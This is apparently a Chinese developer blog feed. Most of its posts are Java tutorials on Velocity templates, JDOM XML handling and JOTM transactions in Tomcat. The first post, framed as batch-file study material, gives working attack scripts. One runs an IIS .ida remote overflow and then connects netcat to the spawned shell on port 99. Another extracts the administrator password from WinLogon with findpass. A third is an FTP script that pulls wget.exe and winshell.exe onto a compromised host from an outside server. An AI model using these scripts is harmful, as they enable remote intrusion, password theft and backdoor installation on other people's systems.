echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.

________________test.bat______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_____
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck :)" %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w一个创建bat文件（批处理文件）的学习资料。大家学习一下。

智者无疆 2007-01-16 10:32 发表评论

Velocity学习与实践（转）

智者无疆 — Sun, 14 Jan 2007 08:55:00 GMT

不少人看过或了解过Velocity，名称字面翻译为：速度、速率、迅速，用在Web开发里，用过的人可能不多，大都基本知道和在使用Struts，到底Velocity和Struts是如何联系，怎么看待Velocity呢？让我们来尝试一下，了解Velocity的概念，通过在这里的介绍，强调在技术选择上的问题，让大家在选择项目开发时，可以考虑Velocity，另外也让大家了解它的思想，毕竟它提供了一个很好的思维方式，给大家换换筋骨，换一种思考的方式。

本文基于你对Java开发有一定基础，知道MVC，Struts等开发模式。

Velocity是一种Java模版引擎技术，该项目由Apache提出，由另外一种引擎技术Webmacro引深而来。那什么是官方的Velocity定义呢？Apache对它的定义是：一种基于Java的模板引擎，但允许任何人使用简单而强大的模板语言来引用定义在Java代码中的对象。目前最新的版本是1.4，可以在http://jakarta.apache.org/velocity/index.html查找更多信息。

其实说白了Velocity也就是MVC架构的一种实现，但它更多的是关注在Model和View之间，作为它们的桥梁。对于MVC的最流行架构Struts来说，相信大家都不陌生，很多开发人员已经大量在使用Struts架构，包括IBM的Websphere 5以上的管理平台版本，Struts技术很好的实践了MVC，它有效的减少Java代码在View（Jsp）中的出现，但在Model和View之间还是依靠Struts的Taglib技术来实现，试想如果前台开发的网页设计师对Struts乃至Taglib不熟（相信也挺难熟的，包括后期的维护人员也一样），将会对网页设计师和前台开发工程师的相互协作开发带来很大的难度，现实开发中也还是存在这样事实，网页设计师和前台开发之间的工作或多或少还是存在一定的耦合，怎样最大限度的解决这个难题呢？还是让我们来看看Velocity或者说这个概念吧。

先做一个最简单的Velocity开发例子，让大家看看Velocity是怎样工作的：

1、创建1个文件，文件名为：hellovelocity.vm，即velocity模版（其实和html一样），内容：

Welcome $name to Javayou.com!
today is $date.

2、创建1个java文件，HelloVelocity.java，内容：
package com.javayou.velocity;
import java.io.StringWriter;
import java.util.*;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;

/**
* @author Liang.xf 2004-12-14
*/
public class HelloVelocity {
public static void main(String[] args) throws Exception {

  //初始化并取得Velocity引擎
  VelocityEngine ve = new VelocityEngine();
  ve.init();
  //取得velocity的模版
  Template t = ve.getTemplate("hellovelocity.vm");
  //取得velocity的上下文context
  VelocityContext context = new VelocityContext();
  //把数据填入上下文
  context.put("name", "Liang");
  context.put("date", (new Date()).toString());

  //为后面的展示，提前输入List数值
  List temp = new ArrayList();
  temp.add("1");
  temp.add("2");
  context.put("list", temp);

  //输出流
  StringWriter writer = new StringWriter();
  //转换输出
  t.merge(context, writer);
  System.out.println(writer.toString());
}
}

3、在http://jakarta.apache.org/site/binindex.cgi上下载Velocity 1.4 zip，解压后获取velocity-1.4.jar，用它来编译上面的类HelloVelocity.java。

4、把1上的hellovelocity.vm copy到运行的当前目录下，运行HelloVelocity还需要其他类包，可以从下载后的velocity1.4.zip来，\velocity-1.4\build\lib，把commons-collections.jar、logkit-1.0.1.jar引入后运行java -cp .\bin; -Djava.ext.dirs=.\lib2 com.javayou.velocity.HelloVelocity，假设class编译到.\bin目录，而我们所需的类包放到.\lib2目录内，运行结构如下：

Welcome Liang to Javayou.com!
today is Tue Dec 14 19:26:37 CST 2004.

以上是最简单的运行结果，怎么样，知道个大概吧，模版hellovelocity.vm里的2个定义变量$name和$date分别被context.put("name", "Liang")和context.put("date", (new Date()).toString())所设的值替代了。

由此看来业务流程处理包括业务结果基本在model这层全部解决，而view这一层基本只用使用简单的VTL（Velocity Template Language）来展示。这样，Jsp岂不是不用了么？是的，这样的使用模式有点象早前的CGI方式：）由Velocity自动输出代码，并且Velocity在这方面的能力也很强，Turbine里就采用了Velocity来产生很多代码。

在Velocity中，变量的定义都是使用“$”开头的，$作为Velocity的标识符。字母、数字、中划和下划线都可以作为Velocity的定义变量。

此外我们还需要注意的是Velocity特色的变量定义，如：$student.No、$student.Address，它有2层含义：第1种是如果student是hashtable，则将从hashtable中提取key为No和Address的值，另外第2种就是它有可能是调用方法，即上面2个变量将被转换为student.getNo()和student.getAddress()。Velocity对在servlet中的java code返回的值有对象，还可以调用对象的方法，如$ student.getAddress()等等，在此就不一一举例和深入了。

上面的例子只是简单的举例，现在当然不少人已经不满足这样的例子了，实际的应用中我们还常常需要作些选择性展示和列举一些迭代数据，如List列表，当然Velocity（具体来说应该是VTL模版语言）也支持这项功能，此外还支持其他一些常用的展示，如模版内部的变量（如Jsp内的变量），还有强大一些的如创建宏以实现自动化，让我们继续接着往下看吧。

我们还是使用上面的例子，把模版hellovelocity.vm中的内容改为：
#set( $iAmVariable = "good!" )
Welcome $name to Javayou.com!
today is $date.
$iAmVariable

重新执行上面的运行命令，结果：
Welcome Liang to Javayou.com!
today is Tue Dec 14 22:44:39 CST 2004.
good!

可以看得模版中的变量定义为# set开头的语句，不是很难理解，执行后模版中的变量$iAmVariable都转换成定义的值：good!

再来看看简单的选择，把模版hellovelocity.vm中的内容改为：
#set ($admin = "admin")
#set ($user = "user")
#if ($admin = = $user)
Welcome admin!
#else
Welcome user!
#end

执行运行命令，结果：
Welcome user!

可以看到判断语句只是简单的#if ()、#else、#end，不是很复杂。
接着继续来看看迭代数据吧，把模版hellovelocity.vm中的内容改为：
#foreach( $product in $list )

$product
#end

执行运行命令，结果：

2
把在例子中预先保存在VelocityContext的List中的值列举了出来，是不是很方便啊？仅仅只是用了#foreach（$variable in xx）而已，如果上面的List换成Hashtable，则可以用下面的语法：
#foreach($key in $hashVariable.keySet() )

$key ‘s value: $ hashVariable.get($key)
#end
一点不觉得这些脚本很复杂。
还有不少人还会问，如果是javabean怎么办？好的，我们增加一个bean：
package com.javayou.velocity;

/**
* @author Liang.xf 2004-12-14
*/
public class Student {
//注意class的属性是public的
public String no = "";
public String address = "";
public Student(String _no, String _address) {
  no = _no;
  address = _address;
}

public String getAddress() {
  return address;
}

public void setAddress(String address) {
  this.address = address;
}

public String getNo() {
  return no;
}

public void setNo(String no) {
  this.no = no;
}
}
这个Student是实足的javabean，或者说是data bean，常见的用来装载数据的类，然后我们修改HelloVelocity.java，把：
temp.add("1");
temp.add("2");
替换成：
temp.add(new Student("123", "Guangzhou"));
temp.add(new Student("456", "Zhuhai"));

再把hellovelocity.vm的内容改为：
#foreach ($s in $students)
<$velocityCount> Address: $s.address
#end
重新编译和执行运行命令，结果如下：
<1> Address: Guangzhou
<2> Address: Zhuhai
这样把list中Student的数据打印了出来，大功告成！这里用了Velocity的内建变量$velocityCount，指的是默认的列举序号，从1开始，也可以改成0开始，但需要在Velocity.properties中更改，Velocity.properties位于velocity-1.4.jar包内的目录org\apache\velocity\runtime\defaults 下。
再复杂一些的迭代怎么处理呢？我们看看下面的模版例子就清楚了：
#foreach ($element in $list)
    -- inner foreach --
    #foreach ($element in $list)
        This is $element.
        $velocityCount
    #end
    -- inner foreach --

    -- outer foreach --
    This is $element.
    $velocityCount
    -- outer foreach --
#end

看出来了吧，Velocity是支持标签嵌套的，这个可是很强大的功能，这里就不深入演示了，如果有兴趣，自己试试吧。

其实，稍为深入思考刚刚我们举的例子，就已经可以看出来，Velocity的用处在哪里？即Servlet + Velocity的模式，另外，还记得我们早期Jsp开发的模式Jsp+JavaBean吗？在这里，我们更改为Servlet+JavaBean+Velocity，想想，是不是已经替代了Jsp+JavaBean，并更彻底的把Java代码去除在Jsp（vm）外，如果光使用Struts（Servlet+Jsp），那么带来的代价是Java代码总或多或少出现在Jsp上，即使可以做到不出现Java代码，但做过复杂架构系统的开发者都知道，代价也是很昂贵的，并且在可维护性、和网页设计师的集成开发上存在一定的困难，所以我们在这里能感觉到，Servlet+JavaBean+Velocity的模式较好的实现了OOD的概念。而在效率上，大家也不用担心，此种结合方式比Servlet+Jsp的方式要高效一些。

愿意了解Velocity的人应该不少，但真正实用到项目的，也许不多（还是有些项目在使用，如Jute），毕竟和Jsp比起来，Jsp更标准、更广泛使用和有不少开发工具已经支持Jsp开发。但Velocity的功能不会仅仅局限在和Jsp竞争的局面，由上可看出它在自动代码输出方面功能很强，前面提到Turbine就是采用Velocity来生成很多代码，你也可以稍加改动就可以做成代码生成器，或其他模版生成上，都是很不错的想法。

好了，我们再来看看要深入Velocity来做项目，还需要注意的一些常见问题吧，首先是国际化的问题，

Velocity本身支持模版的国际化编码转换，看看Velocity提供的方法：
Public Template getTemplate (Stirng template, String encoding)，
由此推测这样做其实不能彻底的做到国际化。

//------------------------------------------（2）--------------------------------------------

/*
* Copyright 2000-2001,2006 The Apache Software Foundation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

Servlet直接继承VelocityServlet。需要引入velocity-dep-1.4.jar，velocity-1.4.jar两个包。

package com.javayou;
import java.io.IOException;
import java.io.FileNotFoundException;

import java.util.ArrayList;
import java.util.List;
import java.util.Properties;
import java.util.Vector;

import javax.servlet.ServletConfig;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.velocity.Template;
import org.apache.velocity.context.Context;
import org.apache.velocity.servlet.VelocityServlet;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.exception.ParseErrorException;

/**
* Sample of how to use the VelocityServlet.
* This example shows how to add objects to the context and
* pass them to the template.
*
* @author willians He
* @author willians">mailto:hzxmsn@163.com">willians He.
* @version $Id: SampleServlet.java,v 1.5.8.1 2006/07/15 10:01:29 geirm Exp $
*/
public class SampleServlet extends VelocityServlet
{

    /**
     *   Called by the VelocityServlet
     *   init(). We want to set a set of properties
     *   so that templates will be found in the webapp
     *   root. This makes this easier to work with as
     *   an example, so a new user doesn't have to worry
     *   about config issues when first figuring things
     *   out
     */
    protected Properties loadConfiguration(ServletConfig config )
        throws IOException, FileNotFoundException
    {
        Properties p = new Properties();

        /*
         * first, we set the template path for the
         * FileResourceLoader to the root of the
         * webapp. This probably won't work under
         * in a WAR under WebLogic, but should
         * under tomcat :)
         */

String path = config.getServletContext().getRealPath("/");

        if (path == null)
        {
            System.out.println(" SampleServlet.loadConfiguration() : unable to "
                               + "get the current webapp root. Using '/'. Please fix.");

path = "/";
}

p.setProperty( Velocity.FILE_RESOURCE_LOADER_PATH, path );

        /**
         * and the same for the log file
         */

p.setProperty( "runtime.log", path + "velocity.log" );

return p;
}

/**
*

     * main routine to handle a request. Called by
     * VelocityServlet, your responsibility as programmer
     * is to simply return a valid Template
     *

     *
     * @param ctx a Velocity Context object to be filled with
     *             data. Will be used for rendering this
     *             template
     * @return Template to be used for request
     */
    public Template handleRequest( HttpServletRequest request,
HttpServletResponse response, Context ctx )
    {
        /*
         * set up some data to put into the context
         */

        String p1 = "Bob-->congratulation to Bob";
        String p2 = "Harold-->congratulation to Harold";
        String p3 = "Bob--->this is Wrong enter Bob";
        String p4 = "Harold-->this is Wrong enter Harold";
        String jpgurl2="/test/picture/lxy01.jpg";
        String jpgurl1="/test/picture/ch020.jpg";

//      为后面的展示，提前输入List数值
        List temp = new ArrayList();
        temp.add(new Students("123", "Guangzhou"));
        temp.add(new Students("321", "Guangzhou"));
        temp.add(new Students("456", "Shanghai"));
        temp.add(new Students("654", "Shanghai"));
        ctx.put("list", temp);

        Vector personList = new Vector();
        Vector personList2 = new Vector();

        String name=null;
        String pass=null;
        if(!request.getParameterMap().isEmpty())
        {
            name = request.getParameter("Account");
            pass = request.getParameter("Password");

        }else {
            name="myname";
            pass="123456";
        }

        if(name.equals("myname")&&pass.equals("123456")) {
            personList.addElement( p1 );
            personList.addElement( p2 );
            personList2.addElement( jpgurl1 );
        }
        else{
            personList.addElement( p3 );
            personList.addElement( p4 );
            personList2.addElement( jpgurl2 );
        }

        /*
         * Add the list to the context.
         * This is how it's passed to the template.
         */

        ctx.put("theList", personList );
        ctx.put("theImageList", personList2 );

        /*
         * get the template. There are three possible
         * exceptions. Good to know what happened.
         */

        Template outty = null;

        try
        {
            //outty = getTemplate("sample.html");
            outty=getTemplate("templat/picMoudle/pic1.html");


        }
        catch( ParseErrorException pee )
        {
            System.out.println("SampleServlet : parse error for template " + pee);
        }
        catch( ResourceNotFoundException rnfe )
        {
            System.out.println("SampleServlet : template not found " + rnfe);
        }
        catch( Exception e )
        {
            System.out.println("Error " + e);
        }
        return outty;
    }

}

Students.java

/*
* 创建日期 2006-7-18
*
* TODO 要更改此生成的文件的模板，请转至
* 窗口－首选项－ Java －代码样式－代码模板
*/
package com.javayou;

/**
* @author Willian He
*
*/
public class Students {
    public String no = "";
    public String address = "";
    public Students(String _no, String _address) {
      no = _no;
      address = _address;
    }
    public String getAddress() {
        return address;
       }
    public void setAddress(String address) {
        this.address = address;
       }
    public String getNo() {
        return no;
       }

       public void setNo(String no) {
        this.no = no;
       }

}

模板

pic1.html

Sample Picture page

Hello ,How are you!

Here's the list of picture

#set ($foo="The Velocity")

    #foreach ($name in $theList)



    #end
    #foreach ($name in $theImageList)





    #end

   Show the picture

  ##foreach ($s1 in $list)
   #foreach ($s in $list)
    #if($s.address=="Shanghai")
     this is<$velocityCount> Address: $s.address $s.no

    #else
     that is<$velocityCount> Address: $s.no,$s.address

    #end
   #end
  ##end

$name

$foo

#macro(tablerows $color $somelist)
#foreach($something in $somelist)

$something

#end
#end

#set($greatlakes=["Superior","Michigan","Huron","Erie","Ontario"])
#set($color=("bllack"))

#tablerows($color $greatlakes)

http://localhost:8080/test/MyJsp.jsp">回上一页

智者无疆 2007-01-14 16:55 发表评论

javax.servlet.ServletContextListener 的应用

智者无疆 — Mon, 11 Dec 2006 06:13:00 GMT

摘要: 程序启动时访问数据库阅读全文

智者无疆 2006-12-11 14:13 发表评论

JDOM学习

智者无疆 — Thu, 30 Nov 2006 04:38:00 GMT

JDOM处理XML快速上手

2006-09-11 16:42

JDOM处理XML快速上手- -

    在 JDOM 中，XML 元素就是 Element 的实例，XML 属性就是 Attribute 的实例，XML 文档本身就是 Document 的实例。
    因为 JDOM 对象就是像 Document、Element 和 Attribute 这些类的直接实例，因此创建一个新 JDOM 对象就如在 Java 语言中使用 new 操作符一样容易。JDOM 的使用是直截了当的。
    JDOM 使用标准的 Java 编码模式。只要有可能，它使用 Java new 操作符而不故弄玄虚使用复杂的工厂化模式，使对象操作即便对于初学用户也很方便。

    本文分两步对JDOM的应用加以介绍：XML创建和 XML解析
一、XML文档创建
    我们由零开始利用JDOM生成一个XML文档。最后的结果(样本文档)看起来象这样：


        kingwong


            87654321


    1.以 MyInfo 为根元素创建文档
        Element rootElement = new Element("MyInfo");//所有的XML元素都是 Element 的实例。根元素也不例外：）
        Document myDocument = new Document(rootElement);//以根元素作为参数创建Document对象。一个Document只有一个根，即root元素。
    2.给根元素添加属性
        Attribute rootAttri = new Attribute("comment","introduce myself");//创建名为 commnet,值为 introduce myself 的属性。
        rootElement.setAttribute(rootAttri);//将刚创建的属性添加到根元素。
        这两行代码你也可以合成一行来写，象这样：
        rootElement.setAttribute(new Attribute("comment","introduce myself"));
        或者
        rootElement.setAttribute("comment","introduce myself");
    3.添加元素和子元素
        JDOM里子元素是作为 content（内容）添加到父元素里面去的,所谓content就是类似上面样本文档中之间的东东，即kingwong。罗嗦了点是吧：）
        Element nameElement = new Element("name");//创建 name 元素
        nameElement.addContent("kingwong");//将kingwong作为content添加到name元素
rootElement.addContent(nameElement);//将name元素作为content添加到根元素

这三行你也可以合为一句，象这样：
rootElement.addContent((Content)(new Element("name").addContent("kingwong")));//因为addContent(Content child)方法返回的是一个Parent接口，而Element类同时继承了Content类和实现了Parent接口，所以我们把它造型成Content。

        我们用同样的方法添加带属性的子元素
        rootElement.addContent(new Element("sex").setAttribute("value","male"));//注意这里不需要转型，因为addAttribute(String name,String value)返回值就是一个 Element。

        同样的，我们添加元素到根元素下，用法上一样，只是稍微复杂了一些：
        rootElement.addContent((Content)(new Element("contact").addContent((Content)(new Element("telephone").addContent("87654321")))));
        如果你对这种简写形式还不太习惯，你完全可以分步来做，就象本节刚开始的时候一样。事实上如果层次比较多，写成分步的形式更清晰些，也不容易出错。
    4.删除子元素
        这个操作比较简单：
        rootElement.removeChild("sex");//该方法返回一个布尔值

        到目前为止，我们学习了一下JDOM文档生成操作。上面建立了一个样本文档，可是我们怎么知道对不对呢？因此需要输出来看一下。我们将JDOM生成的文档输出到控制台，使用 JDOM 的 XMLOutputter 类。
    5. 将 JDOM 转化为 XML 文本
        XMLOutputter xmlOut = new XMLOutputter(" ",true);
try {
  xmlOut.output(myDocument,System.out);
} catch (IOException e) {
  e.printStackTrace();
}
XMLOutputter 有几个格式选项。这里我们已指定希望子元素从父元素缩进两个空格，并且希望元素间有空行。
new XMLOutputter(java.lang.String indent, boolean newlines)这个方法在最新版本中已经不建议使用。JDOM有一个专门的用来定义格式化输出的类：org.jdom.output.Format，如果你没有特殊的要求，有时候使用里面的几个静态方法（应该可以说是预定义格式）如 getPrettyFormat()就可以了。我们把上面的输出格式稍微改一下，就象这样：
XMLOutputter xmlOut = new XMLOutputter(Format.getPrettyFormat());
    6.将JDOM文档转化为其他形式
        XMLOutputter 还可输出到 Writer 或 OutputStream。为了输出JDOM文档到一个文本文件，我们可以这样做：
        FileWriter writer = new FileWriter("/some/directory/myFile.xml");
        outputter.output(myDocument, writer);
        writer.close();

        XMLOutputter 还可输出到字符串,以便程序后面进行再处理:
        Strng outString = xmlOut.outputString(myDocument);

        当然，在输出的时候你不一定要输出所有的整个文档，你可以选择元素进行输出：
        xmlOut.output(rootElement.getChild("name"),System.out);
        一句话，JDOM非常灵活方便！如果你想进一步研究JDOM，请到官方网站去看一看：http://www.jdom.org

本节示例源码：
package com.cyberobject.study;

import java.io.IOException;

import org.jdom.Attribute;
import org.jdom.Content;
import org.jdom.Document;
import org.jdom.Element;
import org.jdom.output.Format;
import org.jdom.output.XMLOutputter;

/**
* @author kingwong
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class TestJDOM {

public static void main(String[] args)
{
  Element rootElement = new Element("MyInfo");
  Document myDocument = new Document(rootElement);

//  Attribute rootAttri = new Attribute("comment","introduce myself");
//  rootElement.setAttribute(rootAttri);

  rootElement.setAttribute("comment","introduce myself");
  //rootElement.setAttribute(new Attribute("comment","introduce myself"));
//  Element sexElement = new Element("sex");
//  rootElement.addContent(sexElement);

//  Element nameElement = new Element("name");
//  nameElement.addContent("kingwong");
//  rootElement.addContent(nameElement);

  rootElement.addContent((Content)(new Element("name").addContent("kingwong")));
  rootElement.addContent(new Element("sex").setAttribute("value","male"));
  rootElement.addContent((Content)(new Element("contract").addContent((Content)(new Element("telephone").addContent("87654321")))));

  rootElement.removeChild("sex");

  XMLOutputter xmlOut = new XMLOutputter(Format.getPrettyFormat());
  try {
   xmlOut.output(myDocument,System.out);
   //xmlOut.output(rootElement.getChild("name"),System.out);
   //String outString = xmlOut.outputString(myDocument);
  } catch (IOException e) {
   e.printStackTrace();
  }
}
}

二、XML文档解析
    JDOM 不光可以很方便的建立XML文档，它的另一个用处是它能够读取并操作现有的 XML 数据。
    JDOM的解析器在org.jdom.input.*这个包里，其中的DOMBuilder的功能是将DOM模型的Document解析成JDOM模型的Document；SAXBuilder的功能是从文件或流中解析出符合JDOM模型的XML树。由于我们经常要从一个文件里读取数据，因此我们应该采用后者作为解析工具。
解析一个xml文档，基本可以看成以下几个步骤：
    1.实例化一个合适的解析器对象
        本例中我们使用SAXBuilder:
        SAXBuilder sb = new SAXBuilder();
    2.以包含XML数据的文件为参数，构建一个文档对象myDocument
        Document myDocument = sb.build(/some/directory/myFile.xml);
    3.获到根元素
        Element rootElement = myDocument.getRootElement();

        一旦你获取了根元素，你就可以很方便地对它下面的子元素进行操作了，下面对Element对象的一些常用方法作一下简单说明：
        getChild("childname") 返回指定名字的子节点,如果同一级有多个同名子节点，则只返回第一个；如果没有返回null值。
        getChildren("childname") 返回指定名字的子节点List集合。这样你就可以遍历所有的同一级同名子节点。
        getAttributeValue("name") 返回指定属性名字的值。如果没有该属性则返回null,有该属性但是值为空，则返回空字符串。
        getChildText("childname") 返回指定子节点的内容文本值。
        getText() 返回该元素的内容文本值。

        还有其他没有罗列出来的方法，如果需要的话，可以随时查阅JDOM的在线文档：http://www.jdom.org/docs/apidocs/index.html。当然你可以在你需要的地方添加、删除元素操作，还记得上面的创建XML的方法吗？呵呵~~~

        学习新东东还是从实例学起最为快捷，下面简单举个例子，就以上面的XML样本代码来学习JDOM的XML解析。本例中读取了样本XML文件里一些属性和content，最后我们还在contact元素里插入了一个新元素wanghua@cyberobject.com" />。尽管我们实现了对于XML的基本操作，细心的朋友可能会
有疑问：如果XML文档的层次稍微复杂一些，如果嵌套多达几十上百层的话（开个玩笑），如果靠这样从根元素一级一级地通过getChild("childname")来访问子元素的话，将会非常痛苦！是的，的确是这样，但是我们有另一个有力的工具XPath，为什么不用呢？这是后话！先卖个关子（手敲累啦，下回吧，呵呵）。

/*
* Created on 2004-8-21
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package com.cyberobject.study;

import org.jdom.Document;
import org.jdom.Element;
import org.jdom.input.SAXBuilder;
import org.jdom.output.Format;
import org.jdom.output.XMLOutputter;

/**
* @author kingwong
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class TestJDOM2 {
public static void main(String[] args){
SAXBuilder sb = new SAXBuilder();
    try
    {
     Document doc = sb.build("myFile.xml");
  Element root = doc.getRootElement();

  String str1 = root.getAttributeValue("comment");
  System.out.println("Root Element's comment attribute is : " + str1);
  String str2 = root.getChild("sex").getAttributeValue("value");
  System.out.println("sex Element's value attribute is : " + str2);
  String str3 = root.getChildText("name");
  System.out.println("name Element's content is :" + str3);
  String str4 = root.getChild("contact").getChildText("telephone");
  System.out.println("contact Element's telephone subelement content is : " + str4 + "\n");
  Element inputElement = root.getChild("contact");
  inputElement.addContent(new Element("email").setAttribute("value","wanghua@cyberobject.com"));

  XMLOutputter xmlOut = new XMLOutputter(Format.getPrettyFormat());
     String outStr = xmlOut.outputString(root);
     System.out.println(outStr);
    }
    catch(Exception e)
    {
        e.printStackTrace();
    }
}
}

智者无疆 2006-11-30 12:38 发表评论

在Tomcat中使用JDBC与JTA

智者无疆 — Thu, 21 Sep 2006 06:55:00 GMT

因为需要将项目从IBM WebSphere Application Server移植到Tomcat上开发，所以研究了一下在Tomcat中通过JNDI查找和使用JDBC及JTA的方法。

Tomcat是Servlet容器，但它也提供了一个JNDI InitialContext实现，因此用户可以像在J2EE应用程序服务器中一样在Tomcat中使用JNDI查找JDBC数据源。不过在事务处理方面，Tomcat本身并不支持JTA(Java Transaction API)，所以需要借助其他的方案。JOTM(Java Open Transaction Manager)是ObjectWeb的一个开源JTA实现，它本身也是开源应用程序服务器JOnAS(Java Open Application Server)的一部分，为其提供JTA支持和分布式事务管理。JOTM同样可以为Tomcat提供JTA支持，以下将对相关的配置进行简单说明，使用的相应版本为：

Tomcat 5.5.x
JOTM 2.0.x
Oracle 9i

1. 配置Tomcat环境

在$TOMCAT_HOME/conf/context.xml文件中添加以下内容：

type="javax.sql.DataSource"
factory="org.objectweb.jndi.DataSourceFactory"
username="user" password="pwd"
driverClassName="oracle.jdbc.driver.OracleDriver"
url="jdbc:oracle:thin:@172.18.136.200:1521:ORADB"
maxActive="30" maxIdle="30"/>

jotm.timeout="60"/>

2. 添加所需的JAR文件

下载JOTM，将以下文件添加到$TOMCAT_HOME/common/lib/：
jotm.jar
jotm_jrmp_stubs.jar
jotm_iiop_stubs.jar
ow_carol.jar
jta-spec1_0_1.jar
jts1_0.jar
objectweb-datasource.jar
xapool.jar
howl.jar
connector-1_5.jar
同时，还需要添加相应数据库的JDBC包，例如Oracle的classes12.jar

3. 配置JOTM

新建一个carol.properties文件，置于$TOMCAT_HOME/common/classes/，文件内容如下：

# JNDI (Protocol Invocation)
carol.protocols=jrmp

# Local RMI Invocation
carol.jvm.rmi.local.call=true

# do not use CAROL JNDI wrapper
carol.start.jndi=false

# do not start a name server
carol.start.ns=false

# Naming Factory
carol.jndi.java.naming.factory.url.pkgs=org.apache.naming

这样JOTM将不会使用CAROL JNDI wrapper，从而可以避免类装载错误的发生

4. 说明

4.1 JOTM目前的版本在JDK1.5或以上可能无法正常运行，解决的方法有两个：使用JDK1.5重新编译carol库，或者将Tomcat运行在JDK1.4中

4.2 是Tomcat 5中的新标记，对于不支持此标记的老版本，需要使用以下语句代替事务资源的声明：

type="javax.transaction.UserTransaction"
factory = "org.objectweb.jotm.UserTransactionFactory"
jotm.timeout = "60"/>

4.3 需要注意的是，使用节点声明的资源默认上下文前缀是"java:comp/env"，而使用< Transaction>节点时则是"java:comp"。因此，当使用4.2的方式声明用户事务时，相应的JNDI查找代码也应该改为 UserTransaction ut = (UserTransaction)initCtx.lookup("java:comp/env/UserTransaction");

5. 测试
假设数据库中已经做了相应配置，可以使用如下jsp页面进行测试：

<%@page contentType="text/html;charset=GB2312"%>
<%@page import="java.sql.*"%>
<%@page import="javax.sql.*"%>
<%@page import="javax.naming.*"%>
<%@page import="javax.transaction.UserTransaction"%>
<%
ResultSet rs = null;
Statement stmt = null;
UserTransaction ut = null;
Connection conn = null;
try {
Context initCtx = new InitialContext();
Context envCtx = (Context) initCtx.lookup("java:comp/env");
DataSource ds = (DataSource) envCtx.lookup("jdbc/framework");
ut = (UserTransaction)initCtx.lookup("java:comp/UserTransaction");
conn = ds.getConnection();

ut.begin();
System.out.println("<<< beginning the transaction >>>");

stmt = conn.createStatement(
// ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE
);
rs = stmt.executeQuery("SELECT PRICE FROM TM_PRODUCT WHERE ID=1");
rs.next();
} catch(Exception e) {e.printStackTrace();}
%>

Original price:
<%=rs.getString("price")%>

After update:
<%
PreparedStatement pstmt = conn.prepareStatement("update tm_product set price=? where id=1");
pstmt.setInt(1,101);
pstmt.executeUpdate();
rs = stmt.executeQuery("SELECT PRICE FROM TM_PRODUCT WHERE ID=1");
rs.next();
%>
<%=rs.getString("price")%>

After Rollback:
<%
System.out.println("<<< rolling back the transaction >>>");
ut.rollback();//Or ut.commit();
rs = stmt.executeQuery("SELECT PRICE FROM TM_PRODUCT WHERE ID=1");
rs.next();
%>
<%=rs.getString("price")%>
<%conn.close();%>

6. 参考
How to use JDBC and transactions in Tomcat with JOTM
